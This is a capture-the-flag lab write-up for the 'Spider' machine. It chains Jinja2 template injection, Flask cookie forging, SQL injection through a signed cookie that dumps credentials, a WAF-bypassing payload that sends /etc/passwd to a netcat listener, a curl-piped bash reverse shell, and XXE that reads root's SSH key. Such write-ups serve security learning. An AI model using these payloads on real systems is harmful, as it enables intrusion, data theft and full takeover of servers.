Skip to content

Spider

Enumeration

Scanned the target with Nmap to discover running services:

$ nmap -sV -sC -p- -oA spider_nmap 10.10.10.243
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-21 11:44 CEST
Nmap scan report for 10.10.10.243
Host is up (0.044s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Repeated the scan for commonly used UDP ports, but found none.

The web server on port 80 appears to be for an online furniture store:

alt text

There is a registration form for creating a user account. Registering an account generates a UUID that is used instead of the provided username when logging in:

alt text

Note

It appears that the Admin and Login links on the page menu both lead to the same Admin login form. In fact the Admin menu item (http://spider.htb/main) is redirected to the Login endpoint (http://spider.htb/login).

Logged in users can navigate to the User Information page to view their username and UUID:

alt text

Foothold

A good way to test for easily exploitable vulnerabilities in the application is to inject common payloads for vulnerabilities such as SQLi, LFI and SSTI. In this case, the most likely place to find a vulnerability is in the registration form, as it permits more or less arbitrary user input and doesn't do any input validation or sanitization except for limiting usernames to no more than 10 characters.

Attempting to register with the SSTI payload {{7 * 7}} as username is allowed. Once logged in, the User Information page shows the username as 49, confirming SSTI:

alt text

Repeating the process with {{7*'7'}} as the payload results in the username 7777777, which, according to Payload All The Things confirms that the templating in use is Jinja2. Knowing this, the application configuration can be leaked using the payload {{config}}:

alt text

Finding Jinja2 is a strong indication that the application runs on Flask. Looking through the configuration dumped in the step above, there are a number of parameters specific to Flask:

Flask configuration
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>

The configuration above includes the application secret key (Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942). As Flask only signs, but doesn't encrypt its cookies, having the secret key makes forging cookies fairly straight forward. A tool specifically designed for this is flask-unsign.

The application uses cookies to store a user's cart contents and their UUID:

$ flask-unsign --decode --cookie 'eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjljMTk1N2Y2LWNkOWEtNDZkNS1hM2ExLTgwNzdmOWQ0OTk1NCJ9.aFfZ8g.mzidHYnhiYGR08Nl87ph1iw4Y0M'
{'cart_items': [], 'uuid': '9c1957f6-cd9a-46d5-a3a1-8077f9d49954'}

Having access to the UUID means it can be manipulated to impersonate another user if their UUID is known. It's also a piece of data that gets stored in a backend database, which means the value can be a an injection point for an SQL injection.

The easiest way to test for SQLi through the cookie is to use SQLmap on it. There a specific example for using SQLmap for crafting cookies here.

Adapted the example above to the current application and used it to dump the database:

SQLmap log
$ sqlmap http://spider.htb/ --eval "from flask_unsign import session as s; session = s.sign({'cart_items': [], 'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --dump
...
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[15:57:10] [INFO] target URL content is stable
[15:57:10] [INFO] testing if (custom) HEADER parameter 'Cookie #1*' is dynamic
do you want to URL encode cookie values (implementation specific)? [Y/n]
[15:57:12] [WARNING] (custom) HEADER parameter 'Cookie #1*' does not appear to be dynamic
[15:57:12] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Cookie #1*' might not be injectable
[15:57:12] [INFO] testing for SQL injection on (custom) HEADER parameter 'Cookie #1*'
[15:57:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:57:13] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:57:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:57:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:57:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:57:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:57:16] [INFO] testing 'Generic inline queries'
[15:57:16] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:57:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:57:17] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:57:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:57:28] [INFO] (custom) HEADER parameter 'Cookie #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[15:57:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:57:49] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:57:51] [INFO] target URL appears to be UNION injectable with 1 columns
[15:57:51] [INFO] (custom) HEADER parameter 'Cookie #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session=' AND (SELECT 7801 FROM (SELECT(SLEEP(5)))lSMT) AND 'fXbH'='fXbH

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: session=' UNION ALL SELECT CONCAT(0x7171626271,0x704e6d6a42484d776269547a7668797772716d736b707167796171456177654649704d496374756d,0x716a787071)-- -
---
[15:57:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0.12
[15:57:55] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[15:57:55] [INFO] fetching current database
[15:57:55] [INFO] fetching tables for database: 'shop'
[15:57:55] [INFO] fetching columns for table 'support' in database 'shop'
[15:57:55] [INFO] fetching entries for table 'support' in database 'shop'
[15:57:55] [INFO] fetching number of entries for table 'support' in database 'shop'
[15:57:55] [INFO] retrieved:
[15:57:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
0
[15:58:15] [WARNING] table 'support' in database 'shop' appears to be empty
Database: shop
Table: support
[0 entries]
+------------+---------+---------+-------------+
| support_id | contact | message | timestamp   |
+------------+---------+---------+-------------+
+------------+---------+---------+-------------+

[15:58:15] [INFO] table 'shop.support' dumped to CSV file '/home/admin/.local/share/sqlmap/output/spider.htb/dump/shop/support.csv'
[15:58:15] [INFO] fetching columns for table 'messages' in database 'shop'
[15:58:15] [INFO] fetching entries for table 'messages' in database 'shop'
Database: shop
Table: messages
[1 entry]
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| post_id | creator | message                                                                           | timestamp           |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| 1       | 1       | Fix the <b>/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal</b> portal! | 2020-04-24 15:02:41 |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+

[15:58:15] [INFO] table 'shop.messages' dumped to CSV file '/home/admin/.local/share/sqlmap/output/spider.htb/dump/shop/messages.csv'
[15:58:15] [INFO] fetching columns for table 'items' in database 'shop'
[15:58:15] [INFO] fetching entries for table 'items' in database 'shop'
Database: shop
Table: items
[6 entries]
+----+-------+-------------+---------------------------------------------------+-------------------------------------------------------------------------+
| id | price | name        | image_path                                        | description                                                             |
+----+-------+-------------+---------------------------------------------------+-------------------------------------------------------------------------+
| 1  | 1337  | Chair       | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 2  | 1337  | Black Chair | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black.                         |
| 3  | 1337  | Chair       | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 4  | 1337  | Black Chair | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black.                         |
| 5  | 1337  | Chair       | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. |
| 6  | 1337  | Black Chair | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black.                         |
+----+-------+-------------+---------------------------------------------------+-------------------------------------------------------------------------+

[15:58:15] [INFO] table 'shop.items' dumped to CSV file '/home/admin/.local/share/sqlmap/output/spider.htb/dump/shop/items.csv'
[15:58:15] [INFO] fetching columns for table 'users' in database 'shop'
[15:58:15] [INFO] fetching entries for table 'users' in database 'shop'
Database: shop
Table: users
[6 entries]
+----+--------------------------------------+------------+-----------------+
| id | uuid                                 | name       | password        |
+----+--------------------------------------+------------+-----------------+
| 1  | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv       | ch1VW4sHERE7331 |
| 2  | 9c1957f6-cd9a-46d5-a3a1-8077f9d49954 | {{config}} | a               |
| 3  | 2a9bdd2b-e596-4ce2-9eff-e241f54192d9 | test       | test            |
| 4  | 1273e7aa-f4b3-4fab-be9a-61627c6f83a3 | {{ 7*7 }}  | 123             |
| 5  | 2680616c-a9fb-431a-99bf-90f5a4019db1 | {{7*7}}    | 123             |
| 6  | 834f3c55-26f1-4a95-8af9-75a94c48433b | {{7*'7'}}  | 123             |
+----+--------------------------------------+------------+-----------------+

Got credentials for user chiv: 129f60ea-30cf-4065-afb9-6be45ad38b73:ch1VW4sHERE7331. Logged in as chiv and found the application admin panel:

alt text

Exploitation

There is one message under messages, which also in the database dump above:

Fix the /a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal portal!

Found the support portal at http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal:

alt text

Messages posted to the support portal are found in the support section in the admin panel.

Tested SSTI payloads against the messaging and support services:

  • The messages service permits SSTI payloads, but isn't vulnerable to them. The application simply strips the {{ and }} from payloads like {{ 7 * 7 }}.
  • The support portal has a WAF in place that filters out {{, }}, most common special characters and keywords like if from the Contact field. When testing with a payload like {%, the application responds with a HTTP 500 error.

SSTI against the Contact field can be achived using the method is demonstrated in this blog post. The idea is to avoid the use of special characters that may trigger the WAF.

Combining the examples gives the following payload for a WAF that filters ., {{, }} and _:

{% if request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat /etc/passwd | nc 10\x2e10\x2e16\x2e7 9001")["read"]() == "chiv" %} a {% endif %}

The if can be avoided by replacing with include:

{% include request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat /etc/passwd | nc 10\x2e10\x2e16\x2e7 9001")["read"]()%}

Once delivered, the payload will cause the application to send /etc/password to a local Netcat listener:

1
2
3
4
5
6
7
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.243] 32978
...
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
chiv:x:1000:1000:chiv:/home/chiv:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false

Created the following reverse shell payload for connecting back to the attack host:

1
2
3
#!/bin/bash

bash -i >& /dev/tcp/10.10.16.7/9001 0>&1

In order to trigger the reverse shell, the target needs to connect to the attack host, retrieve the payload and pipe it to bash to execute it. This is a three step process:

  1. Stood up a Netcat listener and a Python HTTP server and to serve the reverse shell payload
  2. Used the following payload to get the target to download the payload and execute it:
    {% include request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("curl 10\x2e10\x2e16\x2e7:8000/revshell\x2esh | bash")["read"]()%}
    
  3. Got a callback on the Netcat listener with a shell as chiv.

Got the user flag.

Privilege Escalation

There is a private SSH key in /home/chiv/.ssh/id_rsa. Used it to connect to the target directly over SSH.

There is an additional web server running on the target that is only accessible from localhost:

chiv@spider:~$ netstat -tunap
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:57362         127.0.0.1:3306          ESTABLISHED -
tcp        0      0 127.0.0.1:3306          127.0.0.1:57362         ESTABLISHED -
tcp        0      1 10.10.10.243:56260      1.1.1.1:53              SYN_SENT    -
tcp        0    304 10.10.10.243:22         10.10.16.7:53566        ESTABLISHED -
tcp        0      0 10.10.10.243:33078      10.10.16.7:9001         ESTABLISHED -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.1:43462         127.0.0.53:53           ESTABLISHED -
udp        0      0 10.10.10.243:60038      1.1.1.1:53              ESTABLISHED -
udp        0      0 10.10.10.243:39974      1.1.1.1:53              ESTABLISHED -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -

The site can be accessed by setting up the SSH connection with port forwarding to port 8080 on the target:

$ ssh -i chiv_id -L 8000:127.0.0.1:8080 chiv@spider.htb

Navigated to http://127.0.0.1:8000/ on the attack host and got the following login page:

alt text

The Forgot your password link doesn't do anything, but the page accepts any input as a valid username. Once logged in, the side appears to be a new online store:

alt text

Like the main store at http://spider.htb, the new version also appears to be Flask-based as it places the same type of cookie, though with different contents, in the user's browser:

$ flask-unsign --decode --cookie '.eJxNjE1vgyAAhv_KwnkHdG4Hk14MiKOTBhSw3DSYYf2YqWSzNv3vW5Mt2fHJ87zvFQzrOID4Ch4aEAOJWWrxWvKeKqH9pMZAtzq_NJnpaplGJZkTKwPEK5ErJN4kdns7vm6y8OjHT4VkySGdM3FKzN3f2cABcW0phzgyqTs0hHmmXacCeTbY6nYU2D6ZXuPn5RjCoCa0Uv_-fvdchOuLRpTUIa2aTPG6x1GJ6NIO7xcx-k6FayCJ_fzr-TactXJFnSZTs7k8h3N4PDGx_9rtwO0RzB_d5BcQw9s3hSNV0Q.aFhR8A.jtY_OLu-jYYhDsaaThwir0q7p4'
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+dGVzdDwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+', 'points': 0}

The base64 encoded blob in the lxml field decodes to:

1
2
3
4
5
6
7
<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>test</username>
        <is_admin>0</is_admin>
    </data>
</root>

Without access to this application's secret key, manipulating the cookie and the is_admin setting isn't possible. The files for the application appear to be located in /var/www/game, but are unreadable by user chiv:

chiv@spider:~$ ls -l /var/www/game/
ls: cannot access '/var/www/game/templates': Permission denied
ls: cannot access '/var/www/game/__MACOSX': Permission denied
ls: cannot access '/var/www/game/__pycache__': Permission denied
ls: cannot access '/var/www/game/wsgi.py': Permission denied
ls: cannot access '/var/www/game/app.py': Permission denied
ls: cannot access '/var/www/game/game.ini': Permission denied
ls: cannot access '/var/www/game/static': Permission denied
total 0
-????????? ? ? ? ?            ? app.py
-????????? ? ? ? ?            ? game.ini
d????????? ? ? ? ?            ? __MACOSX
d????????? ? ? ? ?            ? __pycache__
d????????? ? ? ? ?            ? static
d????????? ? ? ? ?            ? templates
-????????? ? ? ? ?            ? wsgi.py

Analyzing the login request through a web proxy reveals that's actually appending an additional version parameter to the login POST request:

POST /login HTTP/1.1
Host: 127.0.0.1:8000
...
Referer: http://127.0.0.1:8000/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: http://127.0.0.1:8000
...

username=test&version=1.0.0

The version parameter is passed to the cookie and stored in the lxml field. Testing with an arbitrary value for version, produces a cookie with the following lxml field:

1
2
3
4
5
6
7
<!-- API Version something -->
<root>
    <data>
        <username>test</username>
        <is_admin>0</is_admin>
    </data>
</root>

Allowing the user to control both the username and version fields makes this scheme vulnerable to XML External Entity (XXE) injection. Exploiting the vulnerability in this case requires a payload that is placed in place of the something in the example above. This means the payload has to close the comment on the API Version string early, then end with a starting comment (<!--) in order to close the exisiting closing comment (-->) tag:

The idea is to go from this:

<!-- API Version something -->

To this:

<!-- API Version --> *PAYLOAD* <!-- -->

A basic payload for XXE can be found on Payload All The Things. Adapting it to the current application gives the following:

--><!DOCTYPE username [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><!--

When logging in with &xxe; as the username, intercepting the request and replacing the version parameter with the above payload returns the contents of /etc/passwd on the website:

alt text

As the application apparently runs as root, root's private SSH key can be retrieved by pointing the path in the XML entity above to /root/.ssh/id_rsa.

Logged in as root over SSH and got the root flag.